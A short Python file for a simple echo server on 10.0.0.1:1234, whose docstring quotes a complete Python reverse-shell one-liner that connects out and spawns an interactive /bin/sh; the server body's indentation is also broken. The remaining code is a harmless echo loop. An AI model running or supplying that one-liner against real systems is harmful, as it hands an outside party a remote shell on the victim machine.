simple_socket_server.py

#!/usr/bin/env python

"""
A simple echo server similar to the python connect back on liner
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

"""

import socket

host = '10.0.0.1'
port = 1234
backlog = 5
size = 1024
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((host,port))
s.listen(backlog)
while 1:
 client, address = s.accept()
 data = client.recv(size)
 if data:
 client.send(data)
 client.close()